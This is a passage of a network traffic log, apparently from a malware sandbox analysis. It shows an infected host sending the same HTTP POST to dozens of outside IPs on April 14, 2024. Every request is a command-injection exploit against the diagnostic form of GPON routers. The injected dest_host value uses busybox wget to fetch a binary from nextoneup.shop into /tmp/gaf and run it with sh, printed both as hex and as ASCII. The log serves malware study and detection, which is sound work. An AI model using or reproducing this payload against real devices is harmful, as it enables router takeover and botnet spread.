XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
150	192.168.2.13	45686	2.33.25.151	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.709745884 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
151	192.168.2.13	40738	210.124.21.164	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.709784985 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
152	192.168.2.13	45448	123.176.117.232	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.709794044 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
153	192.168.2.13	39230	210.255.8.217	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.709832907 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
154	192.168.2.13	59230	117.143.161.4	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.709861040 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
155	192.168.2.13	50094	123.88.74.251	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.709878922 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
156	192.168.2.13	56116	212.210.57.246	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.709907055 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
157	192.168.2.13	50730	79.217.10.113	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.709938049 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
158	192.168.2.13	52848	118.44.154.12	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.709975958 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
159	192.168.2.13	60556	118.183.17.133	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.710012913 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
160	192.168.2.13	53676	37.25.142.128	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.710026026 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
161	192.168.2.13	59026	109.176.126.26	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.710066080 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
162	192.168.2.13	34262	202.198.211.209	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.710088015 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
163	192.168.2.13	52712	5.31.117.185	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.710127115 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
164	192.168.2.13	44712	109.255.239.237	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.710135937 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
165	192.168.2.13	34618	37.96.167.34	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.710181952 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
166	192.168.2.13	34914	178.65.184.174	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.710207939 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
167	192.168.2.13	51220	79.151.226.217	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.710252047 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
168	192.168.2.13	50958	202.23.9.99	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.710284948 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
169	192.168.2.13	46410	210.122.244.13	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.710299969 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
170	192.168.2.13	58052	94.43.64.35	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.710309982 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
171	192.168.2.13	35056	117.246.62.195	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.710328102 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
172	192.168.2.13	45040	109.138.200.251	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.710382938 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
173	192.168.2.13	50500	109.189.217.184	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.710434914 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
174	192.168.2.13	43590	37.32.192.157	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.710493088 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
175	192.168.2.13	58346	212.17.21.83	443

Timestamp	Bytes transferred	Direction	Data
